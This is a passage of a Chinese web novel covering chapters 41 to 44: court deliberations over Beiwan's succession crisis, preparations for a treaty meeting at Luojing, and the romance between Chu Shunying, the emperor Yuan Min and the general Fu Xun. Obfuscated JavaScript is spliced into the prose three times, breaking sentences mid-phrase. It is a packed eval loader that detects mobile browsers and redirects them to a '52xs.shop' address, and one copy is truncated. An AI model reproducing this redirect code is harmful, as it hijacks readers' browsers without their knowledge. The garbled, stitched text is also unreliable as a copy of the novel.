五月十三散朝后,元旻忽宣她入上书房议事,踏进去时,发现元晞、元璟、云飞燕赫然在座,均是一脸冷肃,昭示着形势之严峻。 被派去北宛的开阳传来消息,国君冯延病逝,长子冯桢遵遗诏继位,即位不到三天,便被五王弟冯栋率兵薅下王座,下落不明。 冯栋此人,继后所出,北宛二十八部落之中支持他的有八个,弑兄后前呼后拥入主柘支城,然后被对冯延忠心耿耿的狼卫围攻… “舅父病了六七年,对国内局势把控不足,朕那几个表兄弟同父异母,背后各有势力支持,冯栋只是其中较大的一股势力而已。”元旻将线报扔到书案上,看向她。 舜英会意,脑子里搜索了一圈:“冯延除了两任王后,后妃有所出者七人,其中出身二十八部贵族的有四人,北宛尚武、谁都不服谁,少的话两三股势力,多的话…” 忽然目光一寒:“不止,冯延为北宛十二王子,兄弟之中有余力一争的还有两位。” 元旻蹙眉,沉吟不语。 元晞长叹:“他们斗来斗去对咱们倒是好事,只是母后未免伤怀…” 元璟叹息:“君王乃国之重器,权位交接稍有不慎便是内乱四起啊。” 元旻问:“大哥,宣庆府垦荒之事进行得如何了?” 元晞忙收回思绪:“谢朗昨日来报,开垦进度不甚理想,目前仅初初平出了两个军郡,拓荒主力都是死刑犯、重刑犯,聚太多恐生变故,而且木头要从燕州运过去,所耗人力、畜力、粮食太多…” 元璟问:“已平整的可否先栽上些胡杨、红柳等耐旱作物,而后集中人力,先在靠近燕州的方向垦出一个,再以此为据往西扩张?” 云飞燕亦点头:“如此循序渐进,所耗度支也最小。” 元晞道:“也是个办法……只怕北宛形势剧变,突起战事,垦荒受阻。” 元璟摇头:“这也不是一时之功,且不说北宛内乱能否腾出手来侵扰,就算骑兵侵扰,咱们又不是没有一战之力。” 元旻思索半晌,缓缓对中书令道:“拟旨,宣庆府边户都督谢朗、朔宁府边户都督宣正浩,关闭互市。” “宣庆、朔宁边军点检粮草、马匹、武器、战甲等储备,好生整顿修缮。” “再分两成轻骑日夜沿玄阴、乌兰巡逻,如有异常即刻上报,无异常时也需每月向京中发一次塘报。” “至于宣庆垦荒,就依丞相与大司农所言,循序渐进;为保进度,宣庆府抽一半步兵加入,此后国中所有流刑犯,都只发往宣庆。” 中书令奋笔疾书,元旻起身看向左侧墙壁挂着的巨幅地图,陷入沉思。 忽转头看向舜英:“褚少卿,大翊与荣国的洛京会盟筹备得如何了?” . 舜英上报:“洛京之盟日期定在五月二十六,除荣王苻沣、建业侯苻洵,还有荣国的鸿胪寺官员、仪仗护卫约两百人,暂定落脚龙门行宫。” “臣已奏请从羽林卫调五百人先行肃空行宫,洛京刺史也已收束驻军,日夜巡逻。” “昨日上阳郡驿马飞报,建业侯苻洵已于五月初十从龙骨关先行入翊。骑快马的话,约五月十七到洛京。” 元旻微微点头,沉吟不语。 元晞却双眸一亮:“就是那位后起之秀,被荣国百姓称为‘少年战神’的建业侯苻洵?” 云飞燕疑惑地看向元晞,元璟思索片刻猛然抬头,意味深长地注视着舜英。舜英低头,避开来自元旻和元璟的目光。 元晞缓了缓激动情绪:“此人之前是个纨绔子弟,浪荡之名在宗室也是排的上号,不知怎的得了苻治重用,凤鸣三年秋补缺北城兵马司指挥使,短短数月又提拔为五城兵马司大统领……” 元璟回忆起什么似的,似笑非笑的目光在元旻和舜英中间扫来扫去。 元晞未觉异常,依然娓娓道:“凤鸣四年,渝安郡叛乱,苻洵领着两千步兵,跟苻钊几万大军对峙了一天一夜、毫不输阵,本已掌控灵昌,却并不恋权位,反扶持三兄苻沣继承大统……真奇人也。” “乌兰山西端有十多个狄人部落,狄人嘛……全民皆兵,今年春荒,又跟以往一样把主意打到了荣国,拉了近三万散骑南下英平郡劫掠,却遇上了硬茬。” “那苻洵,且不说借地势退敌,竟只带了一千轻骑兵孤军深入,斩寇首两万,追了近半月直撵到乌兰山老巢,要不是靠近北宛不愿惹上麻烦,怕是要犁庭扫闾……听说才十九岁,此前并无其领兵对外征战的记载。” 犁庭扫闾,犁平其庭院,捣毁其里巷,云彻席卷,后无余菑。众人被这四个字背后的浓重血腥所慑,不寒而栗。 “若只是一次奇袭,也担不起这名,今年二月,西羌有个几个小国瞅着荣国内乱到春天大饥,灵昌平原早稻刚发芽,联合起来纵马去践踏青苗,想拖死荣国……” “又是那苻洵,带两百武卒打头阵,摸黑渡过羌水。一夜之间端了敌军主帐、攻占其仓廪,劫粮万石,顺便烧了方圆三四十里的林子。也不知如何精准找到主帐的。” “若只是出奇制胜,也只能算将才,可他自从羌水之战后,便一头扎进渝安,整顿水师,听说已初具成效。” “他之前从未领过兵,却在不到两年时间对骑兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其三,还是子嗣,且不说其他人丁兴旺的宗室子,就只说苻洵,年方十九,若此时娶妻,儿孙绕膝的可能性远高于其兄。届时军功加上子嗣,在朝中影响力超过苻沣是早晚的事。” 元璟从她身上收回略带讶异的目光,赞同道:“两兄弟再是亲厚无嫌,背后支持他们的势力,也总会有政见不和的地方,时日越久矛盾越多;除非苻洵早早自废经脉、或苻沣主动让贤……” “拖得晚些,无论是谁掌权,胜者为了服众,等待落败者的不仅是失权,更可能是身家性命皆被反噬。” 权力不止来自天授、君授,更来自于拥戴他的军队、官员、家族,来自于一个个黎庶、底层军卒。 元晞附和:“最好是苻洵落败,届时荣国长城毁半,苻沣主和,大翊少一腋肘之患。” 云飞燕摇头轻笑:“臣倒是觉着,苻洵掌权对咱们更有好处。” 元璟颔首:“臣也觉得,苻洵当政对我们更有利,征战到最后,拼的全是国力。” 舜英明白他们之意,苻洵天生将帅之才,却不擅治国,剑走偏锋、穷兵黩武,终将更快耗尽国库,自取灭亡。 她突然意识到,这你一言我一语正在讨论什么,霎时遍体生寒。 自己居然在此地,与君、亲、师、友、同僚商议如何令他落败、身死。 怎就到了如此地步?舜英深深低头,将那缕不安分的恻隐之心狠狠压下。 记忆里那鲜亮明朗时如一簇火焰,沉静内敛时如一尊白玉盏,眼睛亮得像星星的少年啊。 蒙舍王城告别的画面犹在眼前,不知何时,他们竟已彻彻底底走到敌对阵营、不死不休。 或许,之前的倾盖如故、推心置腹,全是幻觉,全是虚妄。 从他们在这战乱的时代,出生于不同国家那一刻起,一切早已注定。 元旻静静听他们讨论完,转向中书令:“宗正寺整理出的适龄男女名册,取来看看?” 42. 点绛唇 “诸爱卿高瞻远瞩,朕心甚慰”,元旻坐回案前,目光扫过舜英时冷了一冷,扯扯嘴角挤出个微笑,“目前看来,事态应不至凶险至此。” “此次盟约谈成,苻沣有意嫁大公主入翊,朕也想从官塾遴选品学皆优的良家女,赠与苻沣为妃,如能为其传嗣,可保他权位数年。” 元璟质疑:“苻沣有了子嗣,如何就能保障苻洵不生出异心?” “朕对苻洵略有些了解,别的不好说,他待苻沣之心天地可鉴”,元旻唇角笑意柔和了些,“朕更属意扶持苻沣。” “至于苻洵,名将难得,我们当以重礼待之。就算真有兄弟阋墙那天,朕更希望他能为我所用,除非万不得已……杀掉只是最无奈的下策。” 此话落地,舜英忽然心头一轻,唇角不自觉扬起笑意。 元旻从她身上收回玩味的目光,起身对众臣温声说:“不早了,膳房已在后阁摆好中饭,众卿可用过再归,莫要拘束。” 众人纷纷施礼告退,堂上忽传来一声“褚少卿留下”。 其余人立即加快步伐,一阵风似的散了出去。舜英诧异抬头看向堂上,却只见元旻眉眼带笑,正目不转睛注视着她。 她在堂下端端站着,全身上下除了绯色圆领长袍朝服,再无其他佩饰,透着一股子清爽利落。 脸上的疲乏挥之不去,眼下两片乌青,眸子却是明亮有神的,仿佛在这劳累奔波中,重新挣扎着活了过来。 “这大半个月熬坏你了”,元旻拉她过来坐下,细看她眉眼,心疼得直抽气,“这些乱糟糟的关系,你已学得极快,莫要累坏了。” 旁边小几上,端端正正摆着四盏汤羹,揭开盖子,分别是参汤、金丝燕盏羹、紫苏汤、绿豆莲子汤。 元旻为难道:“汤太多喝不完,帮个忙?” 舜英原本有些忐忑,见他并无后话,忙顺着他的意思,端起一盏紫苏汤,边喝边问:“哪来这么多?” “只这碗参汤是我要的”,元旻扶额叹息,“母后昨儿听我咳了几声,今早就让小膳房送来紫苏汤,金丝燕盏羹是郑娘娘送的,绿豆莲子汤是元昙送的。” “鹤华长公主真是贴心”,舜英想到那泫然欲泣的双眸,忽想到元旻又连轴转了不知多久,忍不住规劝,“你也是,累了还是要歇息,拿参汤撑着不是长久法子。” 元旻顺从地端起那碗绿豆莲子汤,笑吟吟道:“都听阿英的。” 又瞥见她眼下乌青,心疼地用拇指摩挲:“你内伤还未痊愈,莫要操劳坏了身子。” 舜英点头:“会盟筹备得差不多了,剩下些事情已安排下去,我明天启程去洛京盯着些。” “你在荣国待了好几年,风俗禁忌都熟,出不了岔子,不必如此悬心”,元旻见她已喝完紫苏汤,便放下手中绿豆汤,端起金丝燕盏羹递到她唇边,“晓得你爱吃,特意留着的。” 舜英饿了一上午,喝紫苏汤时几乎一饮而尽,已觉十分不雅,脑袋偏来偏去退避:“喝不下了。” 元旻一手揽住她肩膀,一手喂她:“一口,就一口……” 就在此时,元璟的声音飞快由远及近:“陛下,方才忘了说,向你借个人,就是……” 紧接着,门“哐当”开了。 屋内嬉闹的两人齐齐回头,舜英一个激灵站直,眼观鼻、鼻观心。 元璟僵在门口,缓了缓心神,慢慢走进来、反身关上门,艰涩地说完下半句:“你把元昙借我段时间?” 元旻若无其事、八风不动,连坐姿都纹丝未变:“九叔借她做甚?” 元璟轻咳两声:“还不是重建碧宁书院之事。” . 洛京东郊,依崇山、傍长济渠曾有一座知名山庄——碧宁书院。历来收徒严苛,非出身清贵、非天资出众不收,历朝历代桃李满天下。现大翊丞相元璟、南后崔夫人、前朝名将贺浮白和名士辛佑安均出师于此。 征和一朝,翊昭王为打破五姓世家垄断,在开设恩科之前,曾从碧宁书院擢拔颇多英才。此举使得碧宁书院名噪一时,却也为此招来灾祸。 元琤当政的四年,碧宁书院受到极重的迫害。多次被查封,已入仕的弟子遭排挤,书院的教习先生颠沛流离。山主蔡大家的母族、夫族更是屡遭打压,以至于忧愤成疾、郁郁而终。 昔日享誉天下的一代杏坛圣地就此凋敝,只剩些断井颓垣、衰茅苍苔,令人扼腕。 元璟入仕之后缅怀先师,一开年便奏请重建碧宁书院,受元旻大力支持。 然而要恢复昔日风貌,仅仅是划地拨钱全然不够,更需与书院有渊源的人去督建。此人还需有背景、有闲暇、细致妥帖。 凤鸣朝的四年,书院的先生、弟子大都流散、或病或亡,硕果仅存的几位也如元璟般政务繁忙,正愁无人可用,元昙向元璟毛遂自荐。 思来想去,确实也没有比她更合适的人选了。 元旻不假思索就答应了,并立即亲笔一封手谕,书院在原址重建的基础上再扩建两倍,并取消收徒的门第限制,只考校天分,有教无类、广招贤士。 元璟也不含糊,接了手谕便匆匆告退,还贴心地帮他们关好殿门。 元旻凉飕飕道:“三十多岁还不会敲门,估计这辈子是学不会了。” 听着脚步声远了,转身揽住她,重新端起了燕盏羹…… 见她脸红耳热、使劲也挣不开他的怀抱,别有一番羞怯娇媚的意趣。心念一动,腾出另一只手抬起她下颌,收了笑容、直勾勾注视着她。 舜英紧张得发抖:“这是上书房。” 元旻喉结滑动几下,声音哑了几分:“那又如何?” 看了片刻,情不自禁低头就要吻下去。 “砰砰砰……”这一位很好,晓得敲门,却也忒实诚,没等到应门就一直敲,“四哥四哥,在么在么?” 元旻深吸一口气,有些烦躁地松开她,冲门口低吼:“没长手么?自己进来。” 敢不经通传直接敲上书房门的,除了元旻的亲娘,关系最好的亲叔父,也就只剩凰羽寺那几位了。 果然,门“嘎吱”开了,伸进个脑袋,洗净铅华的素白小脸,柳眉深黛笼烟、凤眼左右顾盼,容貌与元旻极为相似,正是与他一胎双生的妹妹——五公主元晴。 二十一年前,兄妹降世那天,大祭司亲自从阳华山赶来,夤夜入宫,卜算出元晴是首任大祭司元湘转世。 也因这卦象,元晴刚满七岁,便被接入凰羽寺修行。此后与母亲和兄长团聚极少。却不知为何,性情温和的元旻,对这唯一的亲妹妹毫不客气。 元晴毫不介怀,大马金刀坐下:“四哥,我要去西边。” 元旻没好气道:“谁拦着你了,还是身上缺银钱?” 元晴撇嘴:“我可是你亲妹妹,孤身去游历你也放心?” 元旻冷笑:“自是不放心,你那气性一来,路过的狗都能被你揍一顿,何况跟你打交道的人。” 世人都道凰羽寺少祭司端淑娴静、沉静淡漠,舜英也一直如此认为,直到有次见到元晴面带微笑、一言不发、站得端端地一脚踹飞拦路恶犬。 事后元晴解释说,祭司也不是整日都要在山中静修,至少一半时间都在外游历,传道授业、穰邪除灾、行侠仗义,因此养成一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981252|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混不吝的市井气。在外人面前还端着些,到元旻这彻底不装了。 元旻等了半晌,没听到她下文,忍不住开口:“说吧,想要什么?” 元晴立刻笑了:“听说你最近要去洛京,带我呗?” 元旻挑眉:“有正事要办,想玩乐自己去。” 元晴眼神真挚:“我也有正事,总觉着洛京有我宿命中要找的人。” 元旻忍无可忍:“元晴,你得时刻记住自己是凰羽寺少祭司,不能成婚。” 元晴讶异:“这与成婚有何干系?” 元旻扶额:“你说的宿命中人,是指……” 元晴用看傻子的眼神盯着他:“师父这次给的任务有些奇怪,让我凭直觉一直走,星辰会给我指引,遇到宿命中人就知道自己该作甚了……四哥你怎么了,眼神不要这样凶嘛。” 元旻深吸了一口气,勉强挤出个微笑:“你最好真有正事。” 又道:“我身边这位是鸿胪寺少卿,会提前几天去洛京,你可与她结伴。” 元晴笑嘻嘻站起来,上下打量舜英,乖巧地敛衽一礼:“褚姐姐好。” 舜英一头雾水。 元旻有些头疼,凉凉道:“好像你大她两岁。” “我知道啊”,元晴重重点头,坚决地说,“还是得叫姐姐,四哥最疼我啦。” 笑吟吟退了出去,再次贴心地关上了门。 舜英讶异:“五公主何时回来的?” “回来大半月了,就住在宝慈宫西暖阁,亏得你早出晚归,多个大活人都没察觉”,元旻叹了口气,咽下焦躁烦闷,“明日休沐,你好生歇两天再去洛京罢。” 舜英涨红了脸,讷讷道:“五月十七……” 元旻斜睨她一眼:“派典客丞带几个长史先去,你是觉着苻洵会跟你计较,还是苻沣会跟我计较?” 舜英正要辩些什么,肺腑之间又开始抽痛,深吸一口气、蹙眉想压下去,眼前却阵阵发黑,不受控制地往后倒去。 元旻忙一手接住她,一手将墙边榻上的小几掀到地面,顺势将她身子平放榻上,支了个软枕,着急地问:“上个月请脉不是已好了大半,怎又开始痛,这些日子太劳累了?” 舜英双唇发白,轻轻摇了摇头:“可能是前两天强行练武,牵动了旧伤。” “再养几个月,等内伤大好了再练,急不得”,元旻想了想,又道,“听说蒙舍国有古方,修复内伤极好,我已派天枢去求新的蛊王,你且忍耐些时日。” 舜英点点头,忽抓到他话中另一层意思:“新的蛊王?” 元旻叹了口气:“去年冬天,蒙舍王城突发山火,烧了四五天,所幸天降暴雨泼熄、才不致生灵涂炭。” “天枢和玉衡找过去时,发现起火点就在蛊王宫,那一代蛮黎三圣全部丧身于大火,无一幸免。他们搜寻了七八天,才在王城以北近百里的火场边缘找到苻洵。” “当时他被烟熏得晕了不知多久,全身伤痕、只剩一口气,却怎样都不肯说发生过何事。” 就这样,原本一心隐世的苻洵再度无家可归。十万大山少了个清风明月的少年,荣国军中多了个凶名远扬的战神。 “我是翊臣,此生只会忠于大翊。”舜英默了半晌,声音轻柔而坚决。 这世上,苻洵那样的战无不胜、年少有为的名将难得,元旻那样温厚宽仁、胸襟广阔的君王更难得。 虽知希望渺茫,却仍是隐隐期冀,他能招揽苻洵入翊,翊国得一天才名将,他们也不必再兵戎相向,何等完美。 她希望,无论是元旻还是苻洵,都能无灾无殃、一世长安。 43. 忆洛京 昇阳西去三百里,过商都,便是洛京。北靠伊河、东有长济渠和崇山,陡峭险峻的戎陵山脉在此开始平缓下行,也造就了干湿分明、寒暑交割的气候。 春有牡丹夏有荷,秋有桂子冬有梅,四季花团锦簇、又别名“花都”,有诗曰“花开花落二十日,一城之人皆若狂”。 洛川北邻龙门行宫,穿城而过,满目荷花千万顷,红碧相杂敷清流。 朱雀门的牌楼下,少年身姿颀长,穿着胭脂色绣银丝梅枝的交领箭袖长袍,系一条宽大的金、黑两色丝线织成的锦带。 他腰间挂一块白色玉佩,颜色匀净、质地细腻,却因保养不善有些浑浊,镂刻着一条跃出浪花的鲤鱼。 他席地而坐,怀里抱着一把剑,斜靠门柱沉睡,微风吹过他额角两绺乌发,眉如墨画、肤如细瓷、唇如桃花瓣,美得让人移不开眼。 . “终于甩掉他们了,真不是东西,竟敢狩猎活人”,十三岁的少女累得大口喘气,双臂围护住骑在马前的他,紧紧抓住缰绳,“咱们到洛川啦,可以下马了。” 身后一空,少女身轻如燕,已稳稳落到地上,他学着她那样跳下,双脚触及地面的瞬间,传来一阵钻心疼痛。 少女忙揽住他肩膀、扶起他,连连道歉:“我不知道你不会武。” 新旧伤一并发作,他疼得倒地呻吟,于是,她单膝跪地弯下腰:“上来,我背你。” 他低头看了看自己褴褛的衣衫、枯瘦如鸟爪的手、满身脏污血痕,羞得无地自容。 少女却不由分说,身子一低,将他双臂搭上自己肩膀,咬着牙站起来:“抓稳了啊,别掉下来,咱们到客栈了……老板,开两间天字号上房,你先忍忍,我出去买药。” 她的力气并不大,背着他走路深一脚浅一脚的,紧紧托住他的双手一直在颤抖。放下时先矮身跪下,又慎重又贴心,好似如此肮脏潦草的他,是什么珍贵的宝物。 店小二送了四次热水上来,他洗了大半年来第一个澡,反反复复搓洗几遍,皮肉都发红了,才感觉自己没那么脏了,又看着外面污垢层层的破衣烂衫犯愁。 她在外面敲门数声无人应答,担心他出事,便径直推门进来,他耳根烫得要烧起来,闷不做声将头埋进水中。 “都是男人,害什么羞啊”,她噗呲笑了,“小兄弟面皮薄,为兄给你买了干净衣服,洗得差不多就换上吧,别受寒了。” 其实她并不比他大多少,只是他受的摧残折磨太多,看起来比她矮小瘦弱很多。 她口口声声“为兄”、“小兄弟”,他却知晓她是个女子。 虽然她一身男儿装扮、精瘦有力,言行举止干脆爽利,声音仍是清脆稚子,前胸平平,外表看来几乎寻不到任何女性特质。 他在昇阳应酬来往、逢迎讨好过许多纨绔,很小就作陪随他们出入花楼,是男是女基本靠直觉就能十拿九稳。 当她在灯下挑出药膏,细致地替他涂抹到后背、腿上时,他舍不得这点稀罕的温柔,于是怀着卑鄙的侥幸,一声不吭任由她照顾。 替他上好药后还提议,她去隔壁沐浴完毕,说自己很多伤在后背。然后,居然就那样毫不避讳地拉下中衣,等他替自己上药。 也不知她家人如何教的,连她自己都以为自己是男子。 元琤家那几个小畜生并不拿那块东宫令当回事,她跟他们狠狠打了一架,因为年龄太小、打不赢那些人,他们都被揍得全身都是刀伤、鞭痕、淤青。 还好,她的坐骑是一匹良驹,她抢到他后立即飞身上马、一路狂奔,到了洛京才敢停下来歇气。 他一丝不苟地替她清理伤口,涂上药膏,眼前晃来晃去全是初见她的场景。 . 那时,她在营房门外勒住缰绳,翻身下马,掀开门帘,笑着对他伸出手来:“以后有我罩着,不会再有人伤害你了。” 阳光从她身后洒进来,照得她宛若仙子。 他想到白天那一路凶险的奔逃,又后怕又厌憎自己,扔下棉布嚎啕大哭。 “怎么啦,没事了,他们追不过来的”,她忙拉好中衣,抱住他抚背安慰,“有我在,没人能伤害你。” 他哽咽半晌,抽噎道:“我不会骑马,又不会武,才把你拖累成这样。” 她温温柔柔地笑了,杏眼秋水瞳不染纤尘:“四殿下常教导我,咱们长于公宫,衣食住行莫不受万民供奉,锄强扶弱是咱们的责任。对了,我叫阿七,七月初七的七,你呢?” 这是他第一次听她提到元旻,当时的他还未意识到,这个人将成为他半辈子跨不过的天堑。 “我叫苻洵,荣国的国姓苻,水旬的洵。” 她笑起来双眸亮晶晶的,真好看:“自牧归荑,洵美且异,好名字……往后就叫你阿洵了。” 他低下头,局促地绞着手指:“可我不好看,也不特别。” 她捧起他的脸,笑盈盈地仔细打量:“好俏的脸,眼睛里像是有星星,嘴唇优美得像花瓣,只是太瘦了。那几个崽子真不是东西……没事,多吃点好的,长点肉就俊了。” 店小二送来他的饭食,熬得稠稠的米浆、加了油盐和剁得细细的肉糜青菜,她接过来,用小勺一点点刮出表面凉了的,喂给他:“先吃些好克化的养养肠胃,过几日再带你吃好的。” “手抖成那样,还是喂你吃吧……就这样小口吃,别吞得太快了。前年去施粥,看到很多人吃太快、活活把自己撑死了。” 他哆哆嗦嗦咽着适温的粥,泪如雨下:“除了娘亲和哥哥,再没人待我这样好。” 她有些羡慕:“她一定很漂亮温柔吧,不然怎么生出你这样好看的孩子。” 他哭得更伤心了:“我三岁时她就过世了。” 她愣怔了片刻,忽然轻声说:“其实我也没有娘亲,娘娘说她是为国战死的女将军,我找了很多记载却没找到她的……” 他慢慢止住泪水,痴痴看着她:“你为什么对我这样好?” 她笑了:“从小就是四殿下照顾我和阿旭,可阿旭是他的亲弟弟、我却什么都不是,白受那么多恩惠。见着你,莫名其妙就觉得咱们很像,我只多了点好运气,把自己的运气分给你,心里会踏实些。” 在洛京将养了几天,她带他走街串巷,买衣服、买鞋子、买发簪、买配饰。 “阿洵,先生说‘礼仪之始,在于正容体、齐颜色、顺辞令,君子以自强不息’,其实你的出身算得上高贵,就算一时落魄,也不要轻视自己。”她俯身替他理好衽、襟,绾好乌发。为他别上镶琥珀螭纹白玉簪时,她的双眼蓦然亮了几分。 “你皮肤白,穿红的又漂亮又喜兴,不要整天悲悲切切,多笑笑更好看。” 他退后几步,从磨得发亮的铜镜里反复打量,换上华服锦衣的自己,俊逸而陌生。 她又蹲下身,将一块玉佩系在他腰上,煞有介事地正色道:“先生还说‘君子无故,玉不去身’。阿洵,我只送得起你独山玉,上头刻的是鱼跃龙门,就当是个好彩头吧,愿你穷且益坚,不坠青云之志。” 其实,这上品独山玉也很贵,他眼看着她掏空私房钱,才买下了这块玉。 很是愧疚,想拦一拦,却抵不过那一丝丝对温情的渴望。 荣国、翊国分别承载了他不同年龄的不堪往事,他舍不得将玉佩放在任何一方国土。于是过龙骨关时,将它用油布裹了又裹,挖了个坑干干净净埋下,种下一棵木芙蓉为标记。 . “穷且益 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981253|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚,不坠青云之志……”睡梦中的少年喃喃呓语,阳光移到他脸上,唇角绽出温存的笑。 耳侧响起长鞭破空之声,马打响鼻的“咈咈”声,旧梦乍破,苻洵缓缓睁开双目,忽然一个激灵,站直身子理了理衣袍和佩饰。 檀色帘子掀开,穿着绯色圆领长袍朝服的少女弯腰从马车下来,远远地朝他躬身长揖:“臣鸿胪寺少卿褚舜英拜见建业侯,让贵客久等,未曾远迎、还望宽恕。” 苻洵忙回礼,展眉笑道:“原来你叫舜英,京华之丽木,非於越之舜英。” 舜英笑而不言,身后一个高大壮硕的男子从健马上跃下,对苻洵抱拳:“臣乃大翊国尉元晞,有幸得见贵国少年战神,可否借一步说话?” 苻洵愣了愣,犹自盯着笑容淡淡的舜英,元晞爽朗笑道:“褚少卿事务繁忙,招待不周之处还望贵客见谅。”也不等苻洵答言,自顾自挽着他,颇为亲近地走向朱雀门。 元晞升任国尉后,时常喟叹良将难遇,一直对苻洵很有兴趣。前些天听元旻有意招揽,虽时机未到,却已沉不住气,想趁苻沣不在,先随舜英来洛京结识一下。 两人一聊便是一下午,舜英先安顿好元晴的住宿,再去行宫各处转悠一番。 巡视完毕已到酉时,玉明殿已摆上筵席,眼见元晞兴冲冲拉着苻洵进去了,舜英也带上元晴,率典客丞和几名长史、主簿入殿,为苻洵接风洗尘。 不得不说,姓元的个个是海量,元晞与苻洵初次见面,居然喝出了“酒逢知己千杯少”的错觉;元晴也是一杯接一杯痛饮状元红,跟她身旁的典客丞单瑶划拳联诗,好不热闹。 她早悄悄给自己换上了三花酒,只在元晞对堂下举杯领酒时,才浅酌一小口。腹部隐痛,她只吃了小半碗桃仁酥酪,盼着早些散席,再晚赶不上喝药了。 正想着,元晞又开始对着堂下祝酒,她也只好添满酒杯,举起来。 元晞担忧地瞥了她一眼,心直口快:“褚少卿重伤未愈,就不必饮酒了罢。” 舜英心一沉。 果然,此言一出,殿中气氛霎时冷了几分。其实,其他人分毫未变,只苻洵脸色冷了下来,饮酒的动作僵住,转头直勾勾看向她。 元晞浑然不知,扯了扯苻洵衣袖,苻洵忙恢复笑意,若无其事转身回去与他碰杯,一饮而尽。 又觥筹交错了两刻,热闹渐散。元晴喝得脸蛋通红,嚷嚷着:“大哥带我骑马……”冲上去就拽。 元晞对这个妹妹没脾气,被扯着往马厩飞奔。舜英松了口气,挥手示意主宾自行散去后,接过宫人送来的汤药,如蒙大赦地一饮而尽。 肋下抽痛得厉害,她蹙了蹙眉,强撑着想起身,身子晃了晃,无奈地坐回去。 “本以为回了昇阳,元旻会好好护住你”,苻洵居然还没走,不知何时站到她身后,伸手搀住她,“他们都走了,你最好回屋歇息。” 舜英如被烫了般,迅速抽回手,轻声道:“王上名讳,请贵客莫要直呼。” 苻洵嗤笑:“我这人狂惯了,你又不是没见过。” 却也不再上手去扶,而是手肘弯曲,上臂下垂,下臂平平抬起,手心向下握拳,以一个极谦逊有礼的姿势候着,供她搭上去借力稳住身子。 舜英看他大有一直守在殿中的态势,心中暗叹,伸手搭了上去,借力站起来、往外走去。 苻洵边走,边定定地看着她:“何时重伤的?发生了什么?” 舜英一言不发,随他走向殿外。 苻洵又问:“你轻身工夫那么好,以前最爱骑快马,从不乘车,究竟是什么伤,能将你磋磨至此?” 他声音越来越低,颤抖中带了哽咽,见她一言不发,只好转头注视着地面,眼圈逐渐泛红。 44. 忘前尘 苻洵的武艺和骑射都学习得极晚。 十三岁时,昇阳到洛京一路,她的英姿飒爽更衬得他孱弱无能。 在洛京稍作将养后,她得知他不会骑马,只好先托他上马背,再跳上去从背后围护住他,同乘一骑前往龙骨关。 她的身上有清新草木气息,像是芙蕖花香,在身后环绕着他,他感觉到莫名地踏实和笃定。似乎只要她在,他就不再是在围场里被虐待得遍体鳞伤、肮脏又丑陋的弱国质子。 他不想再拖累她。 听说他想学习骑马,她赞叹他的上进,去附近衙门借了匹最温顺的矮脚马。 “四殿下想得真周到,借给我这个”,她牵过马来,对他扬了扬手中的东宫令,又指点他姿势,“左脚尖先踩蹬,右脚抬起来,上身直立、坐稳。” “刚开始先慢走,腿不要收得太紧,上身坐直就成了”,她笑语盈盈,骑上另一匹马,“对,就是这样,这是闹市,先慢慢走出去,你好聪明……当时四殿下教我,我学了几天才能慢慢走稳呢。” 四殿下,又是四殿下。 他试探着问:“他很好么?” 提到元旻,她的眼里全是景仰:“他很好,长得好看、又聪明又端雅,人也很和善,对了……这次救你就是他让我来的。” 他听着,有些羡慕、有些憧憬,又有些莫名地讨厌那个四殿下,他也想变厉害,让她对遇到的每个人宣扬他的好,比宣扬那个四殿下更热烈。 她并不着急回去复命,他们一路优哉游哉,越来越熟悉、逐渐无话不谈。 他给她讲喧闹的市井,路边摊刚出锅的热腾腾小吃,还有打铁花:烧化了的铁水击飞、抛洒到空中比烟花还绚烂。 她听得满眼憧憬,又有些失落:“我出宫的时间很少,师父每次只能带我去西市转转,你说的那些我都不知道。” 他拍着胸脯保证:“哪天你来荣国,我带你看最美的打铁花,还有别的……我先回去替你尝试其它有趣的,到时候带你玩个遍。” 告别时,她说:“阿洵,回去后不要忘了我。我肯定不会忘记你,你是我的第一个朋友。” “与四殿下没有任何干系、完完全全专属于我的朋友。” 第一个朋友,谁又不是呢? 过后的五年,他总会想起她这句话,偷偷地沾沾自喜——他对于她,终究是不一样的。 . 苻洵曲臂任舜英搭扶着,从玉明殿走出,慢慢走下玉阶,每走一步,她的眉头都会因疼痛微蹙一下。 他身躯紧绷,另一只手全是汗,无数次想伸出揽住她,却只是颤动着放回原位。 触手可及,遥不可及。 回到故国后,他在灵昌并未待多久、就被苻沣接到镇安,苻治忌惮哥哥的才能,他只好继续作个浪荡子。 到了十六岁议亲,萧玥娘替他相看了许多,都是美丽娴雅的闺秀,他却总觉得缺些什么,次次无疾而终。 直到十七岁那年秋天,栎东白水之畔、惊鸿一瞥,他一眼就认出了她,已有些女儿风姿。之前,妻子的概念在他心里陌生而模糊,却在重逢她的那个瞬间,骤然清晰。 这一刹那的心动,将过往五年难以描述的期待,全部熬成浓烈的思慕。 蓦然回首,方知相思入骨、已长达五年。 他欣喜难抑、顾不得身边还有同伴,急切地上前邀约,生怕慢了一步,她就再次消失在茫茫人海。 